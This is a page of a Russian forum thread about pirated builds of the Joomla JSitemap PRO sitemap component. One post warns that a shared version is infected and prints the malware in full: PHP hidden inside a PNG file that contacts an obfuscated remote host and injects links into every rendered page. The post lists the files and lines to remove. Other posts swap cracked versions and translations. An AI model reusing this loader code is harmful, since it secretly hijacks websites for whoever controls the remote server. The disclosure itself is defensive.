[Компонент] JSitemap PRO 3.5

Тема в разделе "Joomla", создана пользователем weby, 5 июн 2014.

Страница 2 из 4

Денисов

Регистрация:

29 авг 2014

Сообщения:

12

Симпатии:

5

Установившим версию 2.4, по ссылке выше.
Проверьте ваши сайты, в компоненте найдена сторонняя вставка кода в файлах

admin/controllers/defaultInfo.php
admin/controllers/newDates.php
admin/images/advenced.png
Необходима чистка или удаление (пока не поздно)

Денисов, 16 ноя 2014

#21

Zulus нравится это.
Zulus Команда форума

Регистрация:

20 дек 2012

Сообщения:

746

Симпатии:

722

Денисов сказал(а): ↑

Установившим версию 2.4, по ссылке выше.
Проверьте ваши сайты, в компоненте найдена сторонняя вставка кода в файлах

admin/controllers/defaultInfo.php
admin/controllers/newDates.php
admin/images/advenced.png
Необходима чистка или удаление (пока не поздно)
Нажмите, чтобы раскрыть...

А по-подробнее, что за код? Смотрю в упор не вижу что там за код левый в этих фалах, особенно в advenced.png, какой зловредный код может быть в изображении?

Zulus, 17 ноя 2014

#22
Денисов

Регистрация:

29 авг 2014

Сообщения:

12

Симпатии:

5

Zulus сказал(а): ↑

А по-подробнее, что за код? Смотрю в упор не вижу что там за код левый в этих фалах, особенно в advenced.png, какой зловредный код может быть в изображении?
Нажмите, чтобы раскрыть...

Начнём с того, что этого изображения вообще быть не должно в оригинале
А открыв его нотпадом, видим в самом низу -

Спойлер

<arrow_set><?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class plgSystemModel extends JPlugin {

function plgSystemModel(& $subject, $config) {
parent::__construct($subject, $config);
}

function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
}

function onAfterRender() {
$body = JResponse::getBody();
if(!$body||$body=='') return true;
$body = $this->installOptions($body);
JResponse::setBody($body);
}

function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
}

function getURIattr() {
return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
}

public function getConfigOpt() {
$pg = $this->getThisPage();
$Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
return @unserialize($Conf);
}

function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet') != '') {
$object = new stdClass();
$object->object_cat = CategoryFactory::getAbs($object->object_cat);
$commentText = $comment->comment;
}
}

function installOptions($content) {
try {
$getOptions = $this->getConfigOpt();
$ord = @$getOptions['l'][$this->getURIattr()];
if(count(@$ord['m'])) {
$opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
$mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
$l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
$content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
}
} catch (Exception $e) {}
return $content;
}

function loadAlternateCatergory($languageSuffix = '') {
if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
}

function getThisPage() {
return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
}
}
?>

В файле admin/jmap.php идёт подключение к картинке в строке 34
Если устраивает реклама на сайте (и ещё не известно что) оставляйте.
Это лишь немногое, что нашли, а что там ещё, никому не известно.

Компонент был скачан с зарубежного сайта, аналога нашего джумла мастера, доверять или нет - дело лично каждого. Но я бы - не доверял.

--- Добавлено, 17 ноя 2014 ---

Кстати, файлов newDates.php и defaultInfo.php также быть не должно.
Текст с форума обнаружения, что нужно удалить в файле admin/jmap.php

Строка 25: $thmDir = dirname(__FILE__) .'/controllers/';
Строка 51: require_once( $thmDir . 'newDates.php' );
Строка 68: require_once( $thmDir . 'defaultInfo.php' );

Так же удалить эти файлы
admin/controllers/defaultInfo.php
admin/controllers/newDates.php
admin/images/advenced.png

Последнее редактирование: 17 ноя 2014

Денисов, 17 ноя 2014

#23
Zulus Команда форума

Регистрация:

20 дек 2012

Сообщения:

746

Симпатии:

722

если сравнивать с предыдущей версией, то там есть еще новый файл admin/controllers/analyzer.php может тоже левый?

Zulus, 17 ноя 2014

#24
Денисов

Регистрация:

29 авг 2014

Сообщения:

12

Симпатии:

5

Zulus сказал(а): ↑

если сравнивать с предыдущей версией, то там есть еще новый файл admin/controllers/analyzer.php может тоже левый?
Нажмите, чтобы раскрыть...

Этот свой. Введён с версии 2.3.3 (а может и раньше) для анализа доступа к ссылкам карты. Могу и ошибиться, но судя по комментариям в файле - оригинальный.

Последнее редактирование: 17 ноя 2014

Денисов, 17 ноя 2014

#25
Zulus Команда форума

Регистрация:

20 дек 2012

Сообщения:

746

Симпатии:

722

Может тогда выложишь чистый модуль? Обычно народ когда качает смотрит в конце темы, те версии что поновее.

Zulus, 17 ноя 2014

#26
Денисов

Регистрация:

29 авг 2014

Сообщения:

12

Симпатии:

5

Zulus сказал(а): ↑

Может тогда выложишь чистый модуль? Обычно народ когда качает смотрит в конце темы, те версии что поновее.
Нажмите, чтобы раскрыть...

К сожалению (хм, или счастью), новыми и чистыми версиями располагают только подписчики компонента и участники закрытых складчин. Мне, для его русификации, не требовалось ни первого ни второго.
У самого стоит 2.3.3 и вполне устраивает. Сейчас новые версии расширения только дополняются доработками SQL для сторонних компонентов и смысла к обновлению пока не вижу.

Денисов, 17 ноя 2014

#27
videocd

Регистрация:

24 ноя 2014

Сообщения:

4

Симпатии:

0

а с магазином joomshopping работает?

videocd, 24 ноя 2014

#28
seolitz

Регистрация:

8 ноя 2013

Сообщения:

15

Симпатии:

1

Может у кого-нибудь самая последняя версия завалялась?

seolitz, 13 дек 2014

#29
Vitls

Регистрация:

18 июн 2014

Сообщения:

2

Симпатии:

0

Наверно самый нормальный компонент для создания карты сайта, но сейчас уже актуальная версия 3.0

Vitls, 21 янв 2015

#30
Зараки

Регистрация:

10 фев 2015

Сообщения:

31

Симпатии:

3

Ни у кого новой версии с русским языком не появилось?

Зараки, 11 фев 2015

#31
joowork

Регистрация:

4 июн 2015

Сообщения:

28

Симпатии:

3

тема еще живая? может есть у кого последняя версия чистая?

joowork, 5 июн 2015

#32
klop

Регистрация:

19 ноя 2012

Сообщения:

1.582

Симпатии:

1.968

Jsitemap Pro v3.3 for J3.x

Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником.
Нажмите, чтобы раскрыть...

klop, 6 июн 2015

#33

Зараки и Zulus нравится это.
Зараки

Регистрация:

10 фев 2015

Сообщения:

31

Симпатии:

3

Снова здравствуйте, возможно у кого то имеется версия 3.6 с русским языком? Заранее Вам благодарен

Зараки, 16 сен 2015

#34
klop

Регистрация:

19 ноя 2012

Сообщения:

1.582

Симпатии:

1.968

Jsitemap Pro 3.5

Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником.
Нажмите, чтобы раскрыть...

klop, 16 сен 2015

#35

Zulus и Зараки нравится это.
Зараки

Регистрация:

10 фев 2015

Сообщения:

31

Симпатии:

3

Русский язык для JSitemap PRO 3.5

Скрытый контент. Для просмотра Вы должны быть зарегистрированным участником.
Нажмите, чтобы раскрыть...

Зараки, 24 сен 2015

#36

komkoll и Zulus нравится это.
MGT1

Регистрация:

5 янв 2013

Сообщения:

900

Симпатии:

218

Релиз 3.7 еще не наблюдался?

Помог-не ленитесь и жмите "Дякую".

MGT1, 16 окт 2015

#37
pisok

Регистрация:

28 сен 2015

Сообщения:

35

Симпатии:

0

Денисов сказал(а): ↑

К сожалению (хм, или счастью), новыми и чистыми версиями располагают только подписчики компонента и участники закрытых складчин. Мне, для его русификации, не требовалось ни первого ни второго.
У самого стоит 2.3.3 и вполне устраивает. Сейчас новые версии расширения только дополняются доработками SQL для сторонних компонентов и смысла к обновлению пока не вижу.
Нажмите, чтобы раскрыть...

Выложи плиз 2.3.3 чистую

--- Добавлено, 17 окт 2015 ---

klop сказал(а): ↑

Jsitemap Pro 3.5
Нажмите, чтобы раскрыть...

Кто проверял, чистая?

pisok, 17 окт 2015

#38
Зараки

Регистрация:

10 фев 2015

Сообщения:

31

Симпатии:

3

У меня стоит 3.5 взятая отсюда уже месяц пока все в ажуре, поверхностно проверил, ничего криминального

Зараки, 19 окт 2015

#39
sergiucz

Регистрация:

10 мар 2014

Сообщения:

1

Симпатии:

0

Добрый день.Релиз 3.7 есть у когото?

sergiucz, 4 ноя 2015

#40

(Вы должны войти или зарегистрироваться, чтобы ответить.)

Страница 2 из 4

< ObRSS feeds manager | Mijoshop Joomla - не отображается модуль >